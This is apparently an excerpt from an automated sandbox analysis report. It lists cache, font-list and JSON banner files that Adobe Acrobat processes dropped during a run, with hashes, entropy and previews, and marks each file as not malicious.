Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklIQ6tfllXlE/HT8kxQ/h1NNX8RolJuRdxLlGB9lQRYwpDdt:kKRNeT84QRNMa8RdWBwRd
MD5:	3B5EEC019B11703FC8F5FB5A0C59F000
SHA1:	13CC6EEE4E73DE1C1245960EA2B95EDCF232071F
SHA-256:	1DCF40DE2932C967683BA0DBE7DB837FC2B2FDEC7075424663DCA21F4B8343DC
SHA-512:	191D05E7A157F12E9A42F494F5650457272E610225F8D7AF90E16F6A759EC03D2A886FC5674770C51C6D8A0B479AAA34F33CD47BC7F44C3F2CBFCC007867D397
Malicious:	false
Preview:	p...... .........._<.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kK2yL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:OyiDImsLNkPlE99SNxAhUe/3
MD5:	1FDAD62E8186DF80DCC739E3709F1483
SHA1:	460103C628C86F98D25BFF2A6FFCD09817D9BA6B
SHA-256:	A81278A76D7CA25F6CAFF19D967AAA69783007B9C4FE1B33E4C25B5992A75F31
SHA-512:	98B91968D1E19C6020902C34E05F966C14AE4A47BE5C79705E34DCF1F4CA98FF4C01D9854D39F1383057D8F4628A86CC9F3B3573A3FD12035FCC96358CABFF33
Malicious:	false
Preview:	p...... .........N.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5168

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5168

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.368307717734591
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnTtNH2vB3/dVlPIHAR0YadfoAvJM3g98kUwPeUkwRe9:YvXKXxNH2vR/ZwHASgGMbLUkee9
MD5:	1CF193B26E8BC778E6FB7656901B02C6
SHA1:	386525F841803A2272667019783BF9DE737D2E3A
SHA-256:	130BD27CC62295391B2E7E7FB7AD92954D66AA5D1D4571F227ABCAA9F06A4380
SHA-512:	A84D111E99AF76BD59DA86732FD7A2CF9AF9016A68FDDBA4D616B1DB81C56876C0659DC38438B4D70525583F6FAF4A37E04909A1F0983431A37B59E7A1D73D70
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb955750-7298-42b3-9b1a-b06a13bc473d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736729287854,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3071365794074525
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnTtNH2vB3/dVlPIHAR0YadfoAvJfBoTfXpnrPeUkwRe9:YvXKXxNH2vR/ZwHASgGWTfXcUkee9
MD5:	99DE674D4FFD8C14B16D91DAA3494525
SHA1:	0B0E4D8AAF9C1840B0AC92EBE9BCDC0A2E98B66B
SHA-256:	F2C3E77C28E6CB378191B6F0D79838CC205B34D9C8B163A8A0CBC32AFFCBA95C
SHA-512:	DA049C1BFADEDEC0B558A316107A258B62076E92D93BAAF9211120C07CA75142AEF2D1333CD730AC042572DEE0FE759D9DEA84D2A4450E1EE8A3258D78C29ACE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb955750-7298-42b3-9b1a-b06a13bc473d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736729287854,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.285842793634331
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnTtNH2vB3/dVlPIHAR0YadfoAvJfBD2G6UpnrPeUkwRe9:YvXKXxNH2vR/ZwHASgGR22cUkee9
MD5:	5BFEC9BACD1A9535998BD408A63B5211
SHA1:	2DF3119A98C690B7A08D0B3E518428C5E024A94E
SHA-256:	C3E079C5B01AD82E3C021346F6FCAA3AA72E712FD2B1611289054CE1BC853992
SHA-512:	B489FE564EAEC1160BDC6203F2772591A2F05AC8F042BADC911193EC444BBA94FF1D712AC9D3B5C300056BCA1A6C14B4E2C3D81FC22646E41E0920A54015CD13
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb955750-7298-42b3-9b1a-b06a13bc473d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736729287854,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.345429749592777
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnTtNH2vB3/dVlPIHAR0YadfoAvJfPmwrPeUkwRe9:YvXKXxNH2vR/ZwHASgGH56Ukee9
MD5:	430ADCEF7DAC281C6FCEB383641CC8BE
SHA1:	20EFEA1B993CA0ECDE69CB3E0FFA64E30DCCFD3C
SHA-256:	380676CD3E820C5E11A84B09E194FA67E187426C6F2742390513E9FD5DF861A5
SHA-512:	9ABFA5B46E772DA8A7C5BEA8E90EF80C2AB944281A9E2F51348B299F29D24F16EE5559146077CC73F2699C1A9EBA9C7A7ACECF5F6CC8D56763755F4A54985521
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb955750-7298-42b3-9b1a-b06a13bc473d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736729287854,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.693809384469698
Encrypted:	false
SSDEEP:	24:Yv6XxNWJh2pLgE9cQx8LennAvzBvkn0RCmK8czOCCSln:YvmWJh2hgy6SAFv5Ah8cv/ln
MD5:	8070DB8274BE915870220D9745D38D47
SHA1:	5EBA59D18D056A38E00EAC527DDAD206162174D7
SHA-256:	52344107D34913E51AA3E8D0A9C4D86DE206C7D84FA169869B8B7BA7BBA42019
SHA-512:	D62C9A278EB1EFDAB1F8E52A793D6A85330FCDA1D0617DC862DAB35A8F60A2D3731D609DE890C7279F8C32D0E319A232D54EE3FAA25421634DE1D07F00E58FBA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb955750-7298-42b3-9b1a-b06a13bc473d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736729287854,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.295459852507008
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnTtNH2vB3/dVlPIHAR0YadfoAvJf8dPeUkwRe9:YvXKXxNH2vR/ZwHASgGU8Ukee9
MD5:	98ABC4A699F072432A44850B8A8ABA91
SHA1:	1604289864A1C18C6389BE8F173ED522A81A45A1
SHA-256:	7D6A0FBAF2B05D93B8D0068BD45A52E6C81AA2697967D6B7945ADD99C576A005
SHA-512:	5A38B9D5950BD67DA88BD7BC314B5EBB5EAD1DA846E9A69DC95D732F8B2697BFB02BD8FF4C682F8211138D926CEA21F2114E0E2D660F719CE96040E89A4D4E6D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb955750-7298-42b3-9b1a-b06a13bc473d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736729287854,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.294185465499469
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnTtNH2vB3/dVlPIHAR0YadfoAvJfQ1rPeUkwRe9:YvXKXxNH2vR/ZwHASgGY16Ukee9
MD5:	C464BFE92FE735F665897B7A03123E7D
SHA1:	C64A971A996922E27C669415021F5FE536904C88
SHA-256:	1DEFAE55038A921584013202FB5CA4A9B02F180B3ED0E6BA9C3EA3E850C9FA93
SHA-512:	EC9B9DF784CF90ADF588C05D771E3946EA6B709BC168703C67A0752979D64163BF163C2CBDE1C6764766DB1BDDFA40E0229AA427DA6D2A728F816C18A3AC0A4D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb955750-7298-42b3-9b1a-b06a13bc473d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736729287854,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.310432560851466
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnTtNH2vB3/dVlPIHAR0YadfoAvJfFldPeUkwRe9:YvXKXxNH2vR/ZwHASgGz8Ukee9
MD5:	4F245A6DC66A2B0C46E6036878975DA8
SHA1:	FBE595C23C158D413637C575A057A6779399D06C
SHA-256:	87053EF7935ACE8C38045B9FC52BFB2CD3AA4F264DFFA6E7DCEEAF84AB4591C3
SHA-512:	0E8B54B41FFC55CE8728D746118E72F017589C1FC82F58B3BB66289A4AAFE56592138FE161B0A600FF4FADBDA0BA1C7F635A33A980A03E3D4BAFF6A3A717AA7E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb955750-7298-42b3-9b1a-b06a13bc473d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736729287854,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.323369822019591
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnTtNH2vB3/dVlPIHAR0YadfoAvJfzdPeUkwRe9:YvXKXxNH2vR/ZwHASgGb8Ukee9
MD5:	5F6673DC2B16545D8DDE8EC034B366D2
SHA1:	6E5882A127890FAC26D25707EB32995356F0DA53
SHA-256:	44E3DE14B659489C926B092637429C19A7734BFA16FAEF20016136874194AE28
SHA-512:	83DF9794C21C5D5737EF6A4672A2D34EB53BB164F0CCB466221EF229595DAB885F9A02D291918D66F4503F34CF55C0BBAA60B02E26C959BA7F3C603AF1A51DF7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb955750-7298-42b3-9b1a-b06a13bc473d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736729287854,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.304096738518559
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnTtNH2vB3/dVlPIHAR0YadfoAvJfYdPeUkwRe9:YvXKXxNH2vR/ZwHASgGg8Ukee9
MD5:	E1A3A8E287A268DD5DEADCD4559CCE61
SHA1:	B964CB32B854EC059D063EA21918B505CD4B733C
SHA-256:	CE260D6E7DB109140E18F9076A6AA7110759DD108C779337CAD350E6BB06FB5F
SHA-512:	AF14E537121F0B35C7489FD42EA2271BBE9A4B8BC8FCE098ADC3DFEB0DDBCD2F126E0F91AD4D9FD2732C44DFB65B0DE041EE2EEB492402D18A3D498AE9C57B05
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb955750-7298-42b3-9b1a-b06a13bc473d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736729287854,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.290219237019576
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnTtNH2vB3/dVlPIHAR0YadfoAvJf+dPeUkwRe9:YvXKXxNH2vR/ZwHASgG28Ukee9
MD5:	B3C537E998FDD142AE8A20EAD189ED9A
SHA1:	B4DF1A377AE37929A4928C1943012AFEF9EB2C96
SHA-256:	2E62CA8AA1733B4D9E8A8A9CC65A452A09A5610915880FAACCBA1E9D8790FCB8
SHA-512:	38E5FD5F65F87F480D459A56AA467D6467CD633FDDAD1D21C5CD584F5ED4DF141AE72FA5071C1617896D3BBE1C32BD109E1F8A542334CE4F15CE7DECFFF17ABA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb955750-7298-42b3-9b1a-b06a13bc473d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736729287854,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.287615679913944
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnTtNH2vB3/dVlPIHAR0YadfoAvJfbPtdPeUkwRe9:YvXKXxNH2vR/ZwHASgGDV8Ukee9
